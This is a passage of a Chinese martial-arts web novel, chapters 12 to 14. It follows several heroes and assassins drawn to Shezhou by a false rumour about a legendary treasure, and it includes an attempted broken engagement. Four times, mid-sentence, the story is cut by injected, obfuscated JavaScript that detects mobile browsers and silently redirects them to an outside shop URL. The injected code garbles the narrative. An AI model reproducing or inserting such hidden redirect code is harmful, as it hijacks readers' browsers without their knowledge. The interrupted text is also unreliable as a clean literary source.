多年前他险些被当今圣上斩首,是许和意从中斡旋使他免受一死,此事过后他便欠许和意一诺。往后几年他便一直胆战心惊,生怕被许和意再喊去,救那些动动嘴就能让他人头落地的大人物。 许和意点头笑道:“可以啊。” 孙流云看着他渗人的笑容,认命道:“说吧,什么条件。” “带梁无思去流云榭疗伤。”许和意见他偷偷松了口气,继而话锋一转,“久闻《文昌神书》有一‘续脉卷’能修复断裂的经脉,那么……” “我治!我治!我来治!”孙流云从善如流地接话。那小子经脉虽已断了六成,但要救治他,倒也不在话下。 许和意满意地点头,抬手指了指门外,示意他可以出去了。 孙流云立刻跟获得了大赦一般飞速逃离了这个地方。 在门口站了有一会儿的梁声看着孙流云抑制不住的快乐背影:“……” 自家大人也没有这么吓人吧。 “查到了?” “神山衡确实是在涉州城,也就一日,这个消息就不胫而走了。” 许和意再次确认:“可有人亲眼见到?” “望涉司的指挥使及一些百姓都亲眼目睹此物被挖了出来。” 许和意微微蹙眉,没有再说话。 不对。 “收拾一下,明日启程去涉州。” 梁声听着自家公子思考许久后下达的命令,不禁疑惑歪头。神山衡虽说是名震天下的武林秘籍,但也不至于让公子震惊到无话可说的地步吧。再说……他看了下堆满案牍的桌子,无言地张了张嘴后应了句“是”。 “驾——” 客栈店小二边倒茶边扭头看着已经远去的一队人马,朝客人搭话道:“公子若是赶时间去涉州,我看还是绕开怀远取道安仁更节省时间一些。” “这是为何?” 店小二压低声音说:“刚才经过的那队人马就是经怀远道去涉州,那涉州昨日传出有秘宝现世,这才多久,都已经来了第三批人了,我估摸着后面还会陆续有人前去,所以……” “我说小二,神山衡这种众人皆知的宝贝还能叫秘宝?”隔壁桌一个大汉截断了他的话头,随后提高音量,整个露天小院乃至屋内都回荡着他的声音,“这店里估计八成的人都是冲着它去的!” 大汉话音一落,说话的嘈杂声和碗筷碰撞的声音瞬间消失,随后声响再起,院内又恢复了热闹。 如今明目张胆带刀佩剑的江湖人只是少数,更多的是隐于百姓之中,难以分辨。但就凭刚才众人静默时的表情判断,大汉说的并没有错。 店小二愤愤转头,本想看看到底是谁挡了他的赏钱路,定睛一看这大汉身形魁梧,便悻悻转回了头。他再打量了一眼面前的公子,见其身着的黑色织金大氅料子虽精,却略显单薄,“若是走这条路,我看公子这一路上少不了给他们让路、清道,岂不是白白浪费了一些时辰。还有这北方的三月还是和南方的三月不太一样,虽已是开春,却依旧是寒意犹在啊!” 喻九秋仔细听他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935062|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完后点了点头,微笑道:“多谢小兄弟好心告知这些。”随后他喝完了最后一口茶,在桌子上放了茶水钱后就起身和恰好喂完马的韩英一起继续赶路。 店小二看他们依旧踏上了怀远道,摇了摇头,拿起桌上的茶水钱数了数,嘀咕道:“真是个怪人。”不过,出手倒还挺大方! 怀远道上又一队车马疾驰而过,留下滚滚灰尘,待尘土几乎散去后韩英才横穿到河岸边,将手中捡来的干枯树枝扔到地上,然后席地而坐,帮着喻九秋一起烤鱼,唏嘘道:“那神山衡里藏的秘籍早就被销毁了,果然了解真相的只是少数人啊!” “你再大声点,来年我就要在此地给你上香了。”喻九秋抬眼看到他无精打采的样子,将手中已经烤熟的一条鱼递到他面前,问道:“怎么,后悔和我一起走了?” 韩英接过他递过来的鱼,狠狠地咬上一口,恨恨地说:“我怎知你一路如此风餐露宿,若不是为了想早点见到你那未过门的娘子,小爷我能吃这苦?” 喻九秋正在添柴的手在听到他说的话后顿了一下,随后蹙眉把从韩英手里拿过来的一条还没烤熟的鱼丢进火堆里。火堆瞬时“滋啦”一声冒出些火星子,吓得韩英匆忙抬腿闪避,原本想要骂人的嘴巴在看到他阴沉的脸色后默默地闭上了,然后便安静地埋头吃鱼。 “走了。”喻九秋说完便站了起来,径自朝不远处拴在树旁的马儿走去。 韩英看着火堆中已经被彻底烧焦的那条鱼,不禁打了下哆嗦,立马三下五除二地吃完了手中的烤鱼,将火堆熄灭后小跑着赶上去,生怕他丢下自己在这荒郊野地里。 刚才还一副玉树临风、潇洒开朗的样子,就一句话的功夫说变脸就变脸,就他这种阴晴不定的烂脾气,试问哪家姑娘能受得住?真是可惜了那温家娘子。 二人一路上几乎是没有停歇地赶路,就在韩英感觉到自己若是再继续骑马大.腿就要磨掉皮的时候,无极涉州的城门终于出现在了他的视线中。 无极涉州简称涉州,乃北方第一城,此地西北有天然屏障灵运山阻挡外敌,东南有卢素大峡谷和宁静森林截断大沼泽地的前进,一条怀远道贯通南北,是上京路上的必经之地,一条安仁河直通东南部的巴藴,吸引无数商旅。得天独厚的位置使涉州逐渐成为北方最繁华的城镇,往来商人络绎不绝,同时也有鱼龙混杂之人流入此地,因此圣上下令设立望涉司和涉州城的一城二司共同管理此地。 据传此次挖出神山衡的就是身为望涉司指挥使的张铸。 “消息都放出去了?”崔书雪站在窗户边看着城门外排着长队等待进城的人,问刚进屋的张铸。 张铸抬头看了一眼崔书雪的脸后立马吓得低下了头,声音颤抖地回着:“是的,按照您的吩咐一.夜之间将消息散播到了各州。” 崔书雪摩挲着右边脸上还红肿清晰的巴掌印,问:“喻九秋进城了吗?” “尚未收到他进城的消息。” “杀了。” “遵命。” 12. 预兆 街上商铺林立,种类繁多,虽说都生意极好,但纵观所有铺子,只有一家酒肆的门口是摩肩接踵。人们争相踮起脚尖去看、竖起耳朵去听,只因这家酒肆有一“名嘴”。此人每隔两日说一次书,讲天文、说地理,念前朝、叹今朝,愣是没有重样。 陈暖入神地听着,时不时拍手叫好,就连桌边有人坐下她都是等故事结束后才向这位相貌普通的人打招呼。 “这位兄台是?” 来人并未答话,只是将手指蘸了水在桌子上画了只鸽子模样。 这是有活儿来了。 “何人?” 来人依旧不语,从怀中掏出一张信笺递给她,等着她下一步的询问。 陈暖一目十行地看完了,又将信笺退还给他,也没再说别的。 那人见得到了她的回复后,拿回信笺抱了个拳转身走了。 可是陈暖还没听一会儿故事,就又有一个人坐了下来。此人也是不言不语,用水画了只鸽子,递了份信笺,在收到陈暖的回应后同样干脆抱拳离开。 当第三个人坐下时,陈暖实在忍不住先站了起来,冲刚坐下的人说:“带路吧。” 陈暖有时候是真的无法忍受这效率低下的信鸽驿馆,让“中间人”送信,但消息永远不能互通。 她经常遇到不同的“中间人”扎堆来派任务,但迫于“保护雇主和接单杀手安全”的规矩,他们不能同时出现,于是便出现了上面那种场面。 当然,若是真想反杀,所谓的规矩都将不复存在。 陈暖看着眼前明显比揽水城要大得多的信鸽驿馆,不禁暗想这掌柜的不知明里暗里赚了多少钱。 信鸽驿馆除了百姓日常传信外,还要替皇家饲养信鸽,替朝廷传递消息。因此若问整个黎国除了上京州外哪里还固若金汤,唯有大城市的信鸽驿馆所处之地。 陈暖被“中间人”引至后院的第七院,这里的布局和前六个院子大相径庭——全部都是私密性极高的狭小房间,且不为人知。 从这里出去的消息,不是有人生,就是有人死,因此这片建筑在信鸽驿馆内又被称为“生死寮”。 “吱呀——” 陈旧的木门被推开,原本黑暗的屋内烛火瞬间亮起,前方已经有位“中间人”坐在那等她。 陈暖有时候也佩服他们能找到这么多相貌普通且口不能言的人,毕竟从陈暖当杀手以来,“生死寮”派出去的“中间人”至今还没有重复的面孔。 她一张张翻看着雇主点名让她接的单子,信笺上有简单的信息以及暗杀缘由。她接单多年,早就练出来仅凭只言片语就能判断出多数“暗杀缘由”是真实存在还是虚构。毕竟“生死寮”只提供来源,不核实内容真实性。 陈暖筛选出来几个符合她接单原则的杀手单后就将剩下的单子还了回去,这些被她挑出来的还要等她查清情况后才能再下判断。 毕竟人命不可草率。 她从信鸽驿馆出来后就径直驾马往城门去,刚出城门就看到一辆印着许家家印的马车在等待入城。 宝卷拉起车帘,本想看看入城队伍排到哪里了,不料直接看到了恰巧出城的陈暖,立刻大声喊:“陈姑娘!” 许和意本来正在看信件,听到宝卷的声音抬头从车窗里刚好看到对面骑着马的陈暖路过,看到她放慢了速度朝这边点了下头后驾马离开了视线。 “没想到陈姑娘竟然也来了涉州城!” 许和意听着宝卷略带激动的声音,不禁疑惑:“你和她不是见面就吵吗?” “之前吵是觉得这个人不识好歹,竟然不愿意和公子合作。后面接触了觉得这人还挺仗义的,武功确实挺高,性格也有趣。”宝卷说完又在心里默默补了一句:最关键是愿意和自己玩。 之前在许家待着本来就压抑,现在到百清堂了,他们不是一个比一个忙,就是一个赛一个的沉默寡言,他真的很无聊。 许和意点了点头,表示认同。 宝卷回过神来,看着车窗外来来往往的人,突然感慨:“就是不知道陈姑娘这次出城还会不会回来。下次见到又是什么时候呢?” 许和意合上手中的信,看着外面多数像是普通百姓,细看其实是习武之人,笃定地说:“她会回来的。” 既然能在涉州遇到陈暖,就说明她知道神山衡之事有蹊跷。温家放出假消息欺骗这么多江湖人士齐聚涉州,绝不是简单地昭告武林温家地位重建,其中定有别的意图。 更关键的是,崔书雪原本是温家的家仆,虽然后面赎身离开了温家,但他一直与温家藕断丝连。如今关于温家这么重大的事,他不可能不出现。 “啪!” 崔书雪原本脸上还未消退的指印再次浮现,可他却好像无动于衷。 “谁给你的胆子动他?” 崔书雪看着眼前这张美丽温婉的脸上逐渐被怒意盛满,不禁心生痛快,冷笑道:“说什么都晚了,这时候他怕是已经是一具尸体正……” 刺骨的鞭子落在身上打断了他的话,他看着气得浑身发抖的温凌萱,她手中玉竹鞭上的倒刺已经有鲜血滴下,足以可见她挥鞭时有多用力。 崔书雪丝毫不顾身上的伤势,走上前离她更近了一些,看着她愤怒的眼睛中自己逐渐清晰的身影,低声说:“我们之间的约定,你都忘了吗?” 温凌萱抬头看着正低头认真望着自己的崔书雪,他目光温柔,满含希冀,右边的泪痣在红肿的指印下显得更加清晰。 她知道,面前这个人是最会扮可怜的。 温凌萱感觉到自己垂下的衣袖被他拉紧,直接抬脚将他踹到了门边。 她看着崔书雪半跪在地上吐了一口血,一步一步走近他,用手中的鞭子抬起他低下的头颅,倒刺插进了他的下巴,血蜿蜒而下,她弯腰凑近他:“若他死了,你也活不成。” 崔书雪耳边听着她柔软的低语,感受到她气息的短暂停留,抬手抓住了刚离开自己下巴的玉竹鞭,嗓音嘶哑:“我……” “滚出去。” 温凌萱察觉到门外有人等候,直接将未说完话的崔书雪打断。 崔书雪打开门,冷眼看着站在门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935063|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的乔鹤被里面的人招进屋,拳头握紧。 他知道,温凌萱虽然表面上看似柔弱,实际上是最心狠的。 乔鹤进屋后看着被随手丢在桌上还在沁血的玉竹鞭,心中难免惴惴不安,毕竟此时小姐还在气头上。 “说。” 乔鹤回神,谨慎措辞:“百清堂堂主许和意已进城。” “随他去吧,让他看到他想看的就行。” 乔鹤内心苦涩:关键是没人知道这位杀神想看什么。 他又斗胆一问:“还望小姐告知。” “去问崔书雪。” 乔鹤关上门,偷偷松了口气。至今他还没有适应单独面对温凌萱,生怕说错一句话。 “都怪你!我说了进城进城,你非要犹犹豫豫,现在好了,这次怕是想进城都进不去了!”韩英应付着突然而至的第二波杀手,对不远处同样在躲避攻击的喻九秋抱怨。 他们二人昨日本来已到城下,好不容易在关城门前排到入城队伍前排,谁料在即将关城门的时候突然有一老妪问路。喻九秋热心肠发作,等告知完路线后再抬头就看到城门已闭,已到宵禁。 于是二人便去距离涉州城外最近的一家客栈留宿,不曾想今日进城的路上就遇到追杀。 喻九秋没有回答韩英罗里吧嗦的话,面对正追杀自己的杀手丝毫没有慌乱,只是抽出一根由玄铁炼制的扇骨。 此扇骨骨身华丽,上刻流云仙鹤纹,在快被对方的剑近身的时候喻九秋将扇骨展开,原本普通的扇骨骤然变得细长,宛如一柄窄小的长剑。 “当”的一声脆响震得空气似乎都在发颤,杀手没想到区区一根扇骨竟能格挡住自己的剑。 喻九秋将替韩英挡住攻击的另一部分的扇子召回,他拇指捏住扇柄,“唰”的一声扇面展开,将其抛掷到半空中,扇骨瞬间分离,参差错落宛如流云一般,垂直落下时却似刑签能判人生死。 “啪啪啪。” 不远处的林中突然传来掌声,喻九秋将手中已化形为剑的那根扇骨往林中送去,只听见“叮”的一声,是剑碰撞所致,扇骨被对方打到距他不远处的地上。 “何方小人鬼鬼祟祟,不敢露面?” 喻九秋说话虽然大声,但心中开始紧张,因为这人的武功明显在他和韩英之上,与刚才的杀手更是天壤之别。 他们虽然可以与之一战,但等待他们的结果必是一死一重伤。 莫非今日真要葬身于此? “一直听闻江湖异器榜上的’流云断魂扇’巧夺天工,‘合为扇,散断魂’。”陈暖连踏几个树枝落在已经没了气息的杀手旁,看着杀手身上插着的数根已没入血肉的扇骨,“今日一见果然并非凡器,怪不得此扇能位列异器榜第二。” 喻九秋看着面前身着浅色素纱衣裙的女子,观其身法和佩剑,也不知其来路。 他将扇骨召回,和韩英摆出了防御的姿态。 陈暖真诚道:“我是来帮你们的。” 韩英立马反驳:“你在旁边看了许久,说是帮我们,为何一直不出手?” 13. 喻家与温家 陈暖将目光移到喻九秋旁边意气风发的少年身上,提起了兴趣:“哦?没想到小兄弟如此敏锐,不知是哪家的公子?” 这位少年境界虽然不高,但竟然能察觉到自己存在的气息,也不知道是哪家如此有天赋的少爷偷溜出来。 韩英再次恼怒:“你别小兄弟、小兄弟地叫,你看着也没比我大几岁!” 陈暖懒得再逗他,再次看向一直没放松戒备的喻九秋,道:“喻公子,我的善心持续时间是有限的。我就明说了,若没有我,你们两个今日必死无疑。” 今日她在“生死寮”翻看暗杀名单的时候,“喻九秋”这个名字刚开始看到的时候她还不在意,但随着她的翻看,这个名字出现的次数越来越多,让她不禁好奇是什么人物竟让不同的人都同时下了单。 “要是不想死,就跟上我。” 喻九秋和韩英互相对视了一眼,紧跟在她的身后。 “敢问姑娘姓名,出自何门何派,今日救命之恩他日定当以重礼相谢。”喻九秋跟上她的速度,问了一连串。 “我叫陈暖,至于其他你不必打探,救你只是因为我看不惯有人滥杀无辜。”陈暖说着用剑挡住了直冲喻九秋而来的暗器,“不要停留,速速往城门去。” “她……”韩英停下了脚步正欲去帮陈暖,却被喻九秋一把拉住。 “上去就是添乱,快走。” 于是二人直奔城门的方向而去。 “陈暖,既然你放弃了接单,为什么还要挡我的财路?”杀手被陈暖的剑招逼得连连后退,在勉强稳住身形后质问她。 “怕是这钱你有命赚也没命花。”陈暖抱剑站在原地,看着对面的人逐渐将气息稳住,“今日此二人的性命我保下了,若是还想跟上,我不会手下留情。” 她说完就用踏枝术几息之间彻底消失在了杀手视线中。 要钱还是要命,这是一个非常简单的选择。 陈暖就这样替喻九秋和韩英二人挡了好几波杀手,终于到了城门口。 “陈姑娘、陈姑娘!陈姑娘在涉州城内可有住处?若没有,可以和我们同道住进我喻大哥家里!”韩英见识到了这一路上陈暖是如何杀退那些杀手,崇拜之情简直是油然而生。要不是陈暖已经明确不收徒,他早早就向陈暖跪下磕三个响头行拜师礼了。 陈暖一路上听他叽叽喳喳简直烦透了,她是第一次遇到比宝卷还要聒噪的人。 “喻公子、韩公子,我还有要事要办,接下来就不与二位同行了。” 喻九秋拦住陈暖,将挂在腰间的一枚青色玉佩递给陈暖,郑重道:“还请陈姑娘收下这枚玉佩,日后姑娘若有需要,可凭此物到任何一家丰谷斗店,定有人前来相助。” 陈暖看清了玉佩上精雕细琢的五谷,眼里闪过一丝震惊。她行走江湖,杀了不少人,也救了不少人,多数人为了感谢她的救命之恩会以物或者以钱相赠,这些物品价值不等。她上一次收到价值连城的物品就是那巧夺天工的万物镯,接着就是这次了。 她只以为是哪家有点出身的公子遭人追杀,不曾想竟然是黎国最大的民间粮行——丰谷粮行的东家。她也是第一次知道东家姓喻,毕竟丰谷斗店从来都是骆老板出面解决所有事情。 喻九秋根据陈暖的神情猜出来了她是真的不知道自己的真实身份,便又将玉佩往前递了一下,道:“救命之恩,无以为报,若这玉佩以后能解姑娘一次燃眉之急,是再好不过了。” 陈暖也不再推辞,接下了玉佩:“那就有缘再会。” “哎陈姑娘……”韩英还想跟上前叫住她,却被喻九秋揪住了后衣领给拽了回来。 喻九秋警告他:“再添乱就把你送回家。” 韩英失望道:“我这不是想和这么厉害的姑娘交个朋友……”他话音还没落,就看到陈暖又折返了回来,眼睛瞬间放光。 陈暖看着韩英被喻九秋拎着四肢扑腾的样子有点哭笑不得,从怀中拿出了块非常小的印信丢给他,道:“再过半年凭着此印去梵天门,你若能打赢一个叫丰玉成的孩子,我就给你介绍个师父。” 从这短暂的相处陈暖可以看出韩英确实是个武学奇才,虽然没有经过系统的学习,但悟性是有的。虽说他比丰玉成年长几岁,但二人说不定未来会成为势均力敌的对手,也能在这江湖共同闯下属于自己的一片天。 “那就半年后见——”韩英朝着陈暖的背影大喊,引得排队进城的人驻足回头。 “干嘛去?”喻九秋看到韩英正在往城门外的马店走去,叫住了他。 韩英回头,脸上带着兴奋:“买马啊!我现在就要回去!我回去就要跟着宇文师父好好学武!” 喻九秋:“……” 看来他是已经忘了刚才被追杀的事。 要是宇文览知道天天在他屁股后面追着让他练武,他死活不肯,然而就这一两个时辰的时间陈暖直接激发了他学武的兴趣,宇文览不得半夜里醒来都带疑惑不解。 喻九秋懒得和他多费口舌,再次揪住他的脖颈带他去排入城的队伍。 “陈暖……又是陈暖!”萧肃咬牙切齿地从崔书雪的书房出来,一直在门口站着的萧云不用问他就知道肯定又是事办砸了,被里面的人骂了。 萧肃看到萧云站在门口,直接拉住他问:“我问你,我去单杀陈暖,能打得过吗?” 萧云将他的手拿开,淡淡道:“我会给你多烧几炷香。” 萧肃:“……我现在去找她的死敌应该还来得及吧?” 萧云不理他的疯言疯语,推开门进屋将手中的地图递给崔书雪:“公子,这是近期那些入城人的名单及居所。” 崔书雪扫了一眼名单,蹙眉道:“不够,除了这些本来就已经在百清堂名单上出现的人,我们还需要知道更多隐藏的高手到底来了多少。” “属下会抓紧时间调查清楚。” “喻九秋到哪了?” “……在去温府的路上。” “……” 萧肃站在门口等着萧云出来,突然听到里面传来重物翻倒的声音,他瞬间紧张起来,默默站远了一点。 萧云沉默地低头,好似面前并没有被对方一脚踹翻的桌子,只是静静等着崔书雪下一步指示。 “出去。” 萧云出去前将门关上的时候看到里面的人好似脱力一般躺倒在凌乱的地上,不禁无声地叹了口气。他转身看到萧肃担忧的目光,朝他摇了摇头示意无碍,于是二人便并肩离开。等彻底离开了这座院子,萧肃才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935064|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长长地叹了口气:“情字害人啊!” 萧云踹了他一脚,道:“干活去。” “干活?我还干什么,那人都进城了,谁还敢动他?” “……”萧云有的时候觉得他被骂真的不冤,“公子不方便露面,喻九秋都要到温府了,你还不去盯着?” 萧肃抱怨道:“这少爷也不嫌累,一上午被追杀,进城了也不想着休息……真是苦了我啊!” “不嫌累”的喻九秋刚被温府的管家引到阁楼的楼下,他拾阶而上,看到了背对着他身着一袭月蓝色对襟羽纱衣裳的女子。 对方在听到有人到来的动静后立刻转过身,鎏金点翠步摇上的珠花拂过她盛满欣喜的眼眸。 喻九秋作揖道:“温小姐,久等了。” “九秋哥哥,我终于等到你来了!”温凌萱激动上前,抓住了喻九秋的衣袖,在看到对方抽走衣袖的时候身体顿了一下,缓缓后退了一步。 喻九秋看到对面人瞬间低落的神情,虽说他对温凌萱没有男女之情,但是说到底也是一起生活了许久,还是有点不忍心,便解释道:“我一路匆忙赶来,衣服上沾了灰尘。” 温凌萱笑着摇了摇头,柔声道:“没关系。” 她看着站在面前的喻九秋,眼中满是迷恋。他们已经有两年没见,虽然现在见面有些生疏,但是她相信只要在一起时间久了,他们还会像以前一样那么两小无猜。 不管对方做什么,她永远都不会生他的气。 喻九秋拿出一张虽然已经泛黄但还是被保存得完好的信笺,对温凌萱道:“温小姐,今日我来主要是为了退婚。”他将信笺往温凌萱的方向推了推,看着对方因为听到自己的话后笑容逐渐褪去的脸庞,“我对你并无男女之情,只当是儿时一起生活的妹妹。如今爷爷故去,温、喻两家上一辈定下的亲事我看就算了吧。” 温凌萱隐藏在袖中的手逐渐握紧,就连指甲被攥的生生折断,指尖传来钻心的疼痛,她却连眉峰都未动过,依旧保持那副温婉端方的模样,但说出的话,字里行间却明显带着悲戚之色:“可我是真的心悦你。” 喻九秋虽心有不忍,但还是坚定拒绝:“温姑娘,你值得被更好的人来护着。” “可是……” 温凌萱目光落在石桌上的信笺上,纤长的睫毛掩住了她的眼神,说出的话虽然小声,却在喻九秋心里掀起了惊涛骇浪。 “喻伯父说希望我们能成婚。” 喻九秋瞬间抬头,目光紧盯着她:“你何时遇见的我父亲?” 父亲自他少年时就外出游历山川,自此再没归来。刚开始的时候还有家书传来,后面就渐渐没了消息,他托人寻找了多次,就连自己也出门寻找父亲的踪迹,却一无所获。 温凌萱没再多说,只是从怀中拿出一封信递给他,然后仔细观察他的神情。 喻九秋看着这封信,第一眼就认出来确实是父亲的字迹,看着信上的内容他眉头渐渐蹙起。 “九秋哥哥可以将这封信带走,至于婚事我们可以下次再谈。” 温凌萱看着喻九秋离开的身影,转身又继续望向远方,她看着繁华街道逐渐亮起的灯光,听着远处市井的喧嚣人声,目光最终落在了距离阁楼不远处的一间屋舍上。 14. 测士 温凌萱从阁楼下来,缓缓走到屋舍门前。原本没有动静的房间里突然出来了似是物品相撞的声音,在这安静的一隅所有动静都会突然被放大。 温凌萱听到屋内的动静无动于衷,依旧只是站在门口,过了一会儿又再次离开。 萧肃看到她离开的身影,就从暗处走出来,他站在门口深呼了口气,提着手中的篮子推门进入了这间屋子。 韩英看着屋内自打进屋就一直盯着一封信笺看的喻九秋,无奈地将食盒放到桌边:“我说你到底在看什么,如此废寝忘食?让我也看看……” 他斜着身子硬是凑到喻九秋脑袋边去看那封信的内容,可是刚看一眼他就“咦”了一声:“这字迹怎么那么像……”他声音小了下去,看了眼喻九秋的脸色。 喻九秋问他:“你也觉得像是吧?” 韩英拿过他递过来的信笺凑近烛火仔细看了看,确认了有一会儿,然后斩钉截铁道:“什么叫像?这就是!” 韩英看他沉默不语,问:“谁给你的?虽说是世伯的字,但这内容……他不是一开始就反对这门亲事吗?而且……” 韩英不敢再说下去,毕竟之前每次一提起“世伯远游”这四个字对面这人就会立马变脸。 “你去找找城内有没有‘测士’。” “……” 韩英哑口无言。 喻九秋没听到他应声,抬头用一脸“有什么问题吗”的表情看着他。 “我的大少爷,您是不知道‘测士’有多难找吗?放眼整个黎国,有点名气的都不超过这个数!”韩英伸出五根手指在他眼前晃了晃,“而且这些要么被家族豢养,要么都归于朝廷了,你让我个小平民到哪找?” 喻九秋一直只听人说“测士”能通过写出来的文字利用阴阳五行之理来推衍执笔人的吉凶,也有解读人心的能力,没想到竟如此稀缺。 “……那你就去无定斋问问,万一有人隐在江湖中不出世呢?” 韩英伸出手在他的面前,掌心朝上:“大少爷,银子请先递过来。” “……” 喻九秋也无言,因为此次来涉州他并没有计划待很久,所以出来也没带多少银子,应付日常开销是绰绰有余,但是用来买无定斋的高价消息还是不够用。 “去找大哥要。” “好嘞!”韩英就等着他这句话。 又可以和喻大哥要多多的银子了! 当然是记在喻九秋的账上! 时间已至子时,街道里的喧嚣早已褪去,只留路边店铺零星几盏夜灯还亮着。 一家客栈突然被几个不速之客打破了宁静,紧接着里面传来了打斗声。大约一盏茶后,客栈里又来了几个身着朱色窄袖衫,腰佩玄色长刀的人,打斗声顿时变得比之前还要激烈。 与此同时,涉州城内多家大小客栈、驿馆内都遭遇了此番景象。 “公子,人都已经派出去了。”梁声推门而入,一进屋就看到许和意刚灌下去一碗药,神情紧张起来,“可是毒又复发了?” 许和意摆了摆手示意无碍,清了清还泛着苦涩的嗓子,道:“崔书雪找到了?” 梁声低下了头,沮丧道:“属下去晚了,又让他给跑了。” “没事。我们抓了他们这么多人,我就不信他还能坐得住。”许和意边说边圈画着桌上铺开的涉州城内的地图。 梁声瞟了眼地图上已经被圈画出来的多家客栈、驿馆以及酒肆,感叹道:“多亏陈姑娘送来消息,要不然我们怕是要等到天亮才能发现他们的意图……也不知道她哪里获得的消息,这么及时。” 拥有及时消息的陈暖此时在涉州城外的一条民间驿道上刚完成一个暗杀单,她抬头看了下正在逐渐被浓云遮蔽的月亮,感受着风带来的潮湿黏腻感。 要下雨了。 她本想着趁夜赶路,到涉州城外刚好到开城门时间,如今看来只能找离官道最近的一家驿馆借住。 谁知还没到驿馆,陈暖就听到里面传出来刀剑碰撞的声音。她借助外墙用踏枝术几个弹跳就上了屋顶,身形如鬼魅般毫无声息。 陈暖悄无声息地掀起一片青灰色瓦当,入眼就是一片狼藉的大堂,紧接着一柄玄色长刀一闪而过。 百清堂? 她又趴着看了会儿,看着百清堂的百清卫联合几位侠士对抗几个不速之客。 看来不只是城内在找习武之人,连城外都无法避免,这是要硬生生逼这些潜藏的江湖人出来……目的为何呢? 陈暖余光突然瞥到一张熟悉的面孔,她运起内力毫不犹豫地踏碎脚下的瓦片,飞身而下,用剑柄挡住还未到纪灵身前的暗器。 原本手握匕首但内心慌乱的纪灵看到陈暖后立刻将心安定下来,她再次躲藏好,以免陈暖分神。 有了陈暖的加入,原本僵持的局面瞬间被打破,也就不过几息,混乱的局面被彻底控制。 “多谢几位侠士相助。”百清卫对驿馆里的几位江湖人抱拳感谢,随后就带着被擒获的人离开了此地。 原本虽然面色从容但实际已经做好再次拔剑准备的几个江湖人看到百清卫走了,面面相觑。 “这就走了?还以为要把我们也抓起来呢。” 陈暖笑道:“这是在城外,再说你们又没有乱杀人,还帮了他们,为何要抓你们?” 几个江湖人被她的话一语顿悟,也意识到这百清堂并非如传闻中那样是个是非不分的朝廷机构,稍微有了一点改观。 纪灵上前帮他们将因为打斗而翻倒的桌椅恢复,问陈暖:“你怎会在这里?” “刚结束完一个单子,来这避避雨。” 陈暖话音还未落,瓢泼大雨瞬间而下,又因陈暖恰好站在先前被她踏碎的瓦片之下,这雨不可避免地落到了她身上。 “……” 纪灵看着陈暖刚换好衣服出来,接过她擦头发的布巾,帮她擦干还滴水的长发,边擦边忍住笑。 陈暖无奈地叹了口气,道:“想笑就笑吧。” 随后她就听到了纪灵的哈哈大笑声,待她笑声停止后问她:“你怎么在这?” 纪灵坐在她旁边的板凳上,将手巾搭到桌沿,拿起桌上的木梳替她梳着发尾:“来给温家送成婚时需要的首饰,想到刚好你也在涉州城,我就一起过来了。” 传闻温家长女寻死觅活、不顾家人阻拦都要嫁的人是位喻姓公子,听说还是下嫁……百姓们闲聊时都以为这场不受家族人待见、可能会使温家蒙羞的婚宴会悄无声息地办完,没想到竟然打算如此声势浩大地操办。 陈暖点了点头,突然想起来什么,问道:“纪连溪呢?” 纪灵翻了个白眼:“这个臭小子天天鬼哭狼嚎,吵得我觉都睡不安生,索性让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935065|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲帮忙带着了。” 陈暖认同地点了点头,毕竟纪灵刚生下纪连溪的时候,她一直在旁边帮忙看顾,她那时遭受过的魔音贯耳令她现在想起来都头皮发麻,以至于后面是能不去纪灵家里就不去。 “很晚了,睡觉、睡觉!明天一大早还要赶路呢!”纪灵放下木梳,拉扯着陈暖上榻。 穿透街巷与涉州城周边数里村落的晨钟敲响,陈暖、纪灵等人带着屋后数箱首饰也已从驿馆启程。 无定斋的伙计一边打着哈欠一边打开了店铺的大门,待看到门外早已等候多时的客人身影后立刻打起了精神,引着他进门:“不知这位客人想问何事?” 韩英掏出一枚金币递给伙计:“涉州城内或者附近的几个州可有‘测士’存在?” 